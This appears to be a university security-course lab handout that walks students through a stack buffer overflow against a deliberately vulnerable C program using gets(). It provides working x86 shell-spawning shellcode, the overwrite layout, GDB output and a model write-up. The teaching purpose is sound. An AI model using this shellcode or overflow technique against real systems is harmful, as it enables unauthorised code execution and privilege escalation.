Remus (Launched 1975)
Click to reveal password:
- Points: 5 for checkpoint, 5 for code, no writeup
Relevant lectures: 2 - x86 Assembly and Call Stack, 3 - Memory Safety Vulnerabilities
Orion class satellites were some of the first to be launched into orbit. Once Gobian Union's proudest achievement, these satellites are now disused and ready to be deorbited. CSA engineers recently deorbited the Orion-class satellite Romulus and prepared a manual with instructions for hacking into the satellite. Your job is to deorbit its sister satellite, Remus, using the provided manual. Old satellites often have messages from the past in their README, so once you hack into Remus, why not check out what the cosmonauts of the past had to say?
To familiarize you with the workflow of this project, we will walk you through the exploit for the first question. This part has a lot of reading, but please read everything carefully to minimize silly mistakes in later questions!
Log into the
remus account on the VM using the password you obtained in the customization step above.
ls -al command to see the files for this user. Each user (one per question) will have the following files:
The source code for a vulnerable C program, ending in
.c. In this question, this is the
A vulnerable C program (the name of the source file without the
.c). In this question, this is the
exploit: A scaffolding script that takes your malicious input and feeds it to the vulnerable program.
debug-exploit: A debugging version of the scaffolding script that takes your malicious input and starts GDB.
README: The file you want to read.
Your task is to read the
README file for each user. You can start by trying the
cat command, which is used to read files and print them to the output. First, try this with
cat WELCOME. You should see the contents of the
WELCOME file on your terminal.
Now, try reading the contents of
cat README. We don’t have permission to read the file! The file is only accessible to the next user.
Luckily, each user also has a vulnerable C program that has permission to read the
README file. If exploit the C program, you can take over the program and force it to execute code that reads the
README file with its elevated privileges!
Your goal for each question will be to write this exploit as a malicious input to the vulnerable C program in order to access the restricted
README file, where you will find the username and password for the next question.
orbit.c and take a look at the source code. You can use
cat orbit.c or open
orbit.c in a terminal text editor. Notice that this question uses the vulnerable
gets function! (If you need a refresher of what
gets does, use
man gets to check the man pages.)
You can quickly check that this has a memory safety vulnerability. Normally, you would use
./orbit to run the vulnerable program, but because we want to ensure that our addresses are consistent, you should run the program using
./exploit instead. Run the program, and try typing
AAAAAAAAAAAAAAAA followed by the Enter key. You should see that the program segfaults!
This means that, if you provide a specially crafted input to the
orbit program, you can cause it to execute your own, malicious code, called shellcode. We will write our input using Python 3, stored in an
egg file. Whatever bytes are printed from the
egg file will be sent as input to the vulnerable program. Note that at the top of all of our files, including the
egg file, is a shebang line. The shebang line tells the operating system that this executable should be run as a Python file:
Because Python 3 prints all strings as UTF-8 encoding, the Python text string
'\x80' is not necessarily printed as the byte
0x80 but instead as the byte sequence
0xc2 0x80. To avoid this problem, the next line changes Python’s text encoding to
latin1, which encodes any text character in the range
'\xff'5 as the raw byte
0xff, so text strings function as byte strings as shown in lecture:
import sys sys.stdout.reconfigure(encoding='latin1')
Your shellcode for this question will cause the vulnerable program to spawn a shell that you can directly interact with. The shellcode is provided in Python 3 syntax below:
SHELLCODE = \ '\x6a\x32\x58\xcd\x80\x89\xc3\x89\xc1\x6a' \ '\x47\x58\xcd\x80\x31\xc0\x50\x68\x2d\x69' \ '\x69\x69\x89\xe2\x50\x68\x2b\x6d\x6d\x6d' \ '\x89\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f' \ '\x62\x69\x6e\x89\xe3\x50\x52\x51\x53\x89' \ '\xe1\x31\xd2\xb0\x0b\xcd\x80'
In this syntax, note that a function address like
'\x09\xcd\xab\xff'. The order of the bytes is reversed since we work in a little-endian system.
In this question, you will be modifying the egg file. You can use any terminal editor of your choice: We have provided
nano in the virtual machine.
The script will be treated as a standard Python file. You will want to include the
SHELLCODE we have provided above, and your input will be whatever is printed from Python.
To find the addresses you need to exploit this program, you will need to try running the vulnerable program under GDB. Normally, you would use
gdb orbit in order to run the program. However, to make sure the GDB addresses match the addresses you get from running the program normally, we will use
./debug-exploit instead. This will give you a GDB terminal for you to find addresses and debug the logic of the program.
exploit wrapper script we have provided will automatically feed the output from the
egg script into the input of the vulnerable program. If you’re curious, you can use
cat exploit to see how we achieve this. To run it, use
egg file is correct, the vulnerable program will launch a shell, and typing
cat README (followed by a newline) after running
./exploit should print the contents of
If your exploit doesn’t work, you can use GDB to see how the program functions while receiving the input from your
debug-exploit wrapper script will automatically run GDB, with the program receiving the output from your
egg as input. To run it, use
From here, you can use gdb as you normally would, and any calls for input will come from your exploit scripts.
Note: Recall that x86 is little-endian, so the first four bytes of the shellcode will appear as
0xcd58326a in the debugger. To write
0x12345678 to memory, use
Each question (except for this one) will require a write-up. Each question’s write-up should contain the following pieces of information:
- A description of the vulnerability
- How any relevant “magic numbers” were determined, usually with GDB
- A description of your exploit structure
- GDB output demonstrating the before/after of the exploit working
We recommend the following steps (as described above) for every question of this project:
- Look at the source code of the vulnerable program and try to find a vulnerability.
- Run the program with
./exploitto make sure you understand what the program is really doing.
- Run the program in GDB with
./debug-exploitand find any magic values or addresses you need.
- Write your exploit scripts for the question.
- Test your malicious scripts with
./exploit. Some questions (including this one) spawn a shell, so try typing
cat READMEfollowed by a newline.
- If it doesn’t work, use
./debug-exploitto debug your exploit. Tweak your exploit, and try again!
To help you out, we have provided an example write-up for this question only. You will need to submit your own write-ups for the rest of the questions.
With the help of the example write-up, write out the input that will cause
orbit to spawn a shell. A video demo is also available at this link.
- A script
No writeup required for this question only.
The code is vulnerable because
gets(buf) does not check the length of the input from the user, which lets an attacker write past the end of the buffer. We insert the shellcode above the saved return address on the stack (rip) and overwrite the rip with the address of the shellcode.
We first determined the address of the buffer (0xbffffc18) and the address of the rip of the
orbit function (0xbffffc2c). This was done by invoking GDB and setting a breakpoint at line 5.
(gdb) x/16x buf
0xbffffc18: 0x41414141 0xb7e5f200 0xb7fed270 0x00000000 0xbffffc28: 0xbffffc18 0x0804842a 0x08048440 0x00000000 0xbffffc38: 0x00000000 0xb7e454d3 0x00000001 0xbffffcb4 0xbffffc48: 0xbffffcbc 0xb7fdc858 0x00000000 0xbffffc1c (gdb) i f Stack frame at 0xbffffc10: eip = 0x804841d in orbit (orbit.c:8); saved eip 0x804842a called by frame at 0xbffffc40 source language c. Arglist at 0xbffffc28, args: Locals at 0xbffffc28, Previous frame's sp is 0xbffffc30 Saved registers: ebp at 0xbffffc28, eip at 0xbffffc2c
By doing so, we learned that the location of the return address from this function was 20 bytes away from the start of the buffer (
0xbffffc18 = 20).
Here is the stack diagram (You don’t need a stack diagram in your writeup).
The exploit has three parts:
Write 20 dummy characters to overwrite
buf, the compiler padding, and the sfp.
Overwrite the rip with the address of the shellcode. Since we are putting shellcode directly after the rip, we overwrite the rip with
0xbffffc2c + 4).
Finally, insert the shellcode directly after the rip.
This causes the
orbit function to start executing the shellcode at address
0xbffffc30 when it returns.
When we ran GDB after inputting the malicious exploit string, we got the following output:
(gdb) x/16x buf 0xbffffc18: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffc28: 0x61616161 0xbffffc30 0xcd58326a 0x89c38980 0xbffffc38: 0x58476ac1 0xc03180cd 0x2f2f6850 0x2f686873 0xbffffc48: 0x546e6962 0x8953505b 0xb0d231e1 0x0080cd0b
After 20 bytes of garbage (blue), the rip is overwritten with
0xbffffc30 (red), which points to the shellcode directly after the rip (green).
Note: you don’t need to color-code your gdb output in your writeup.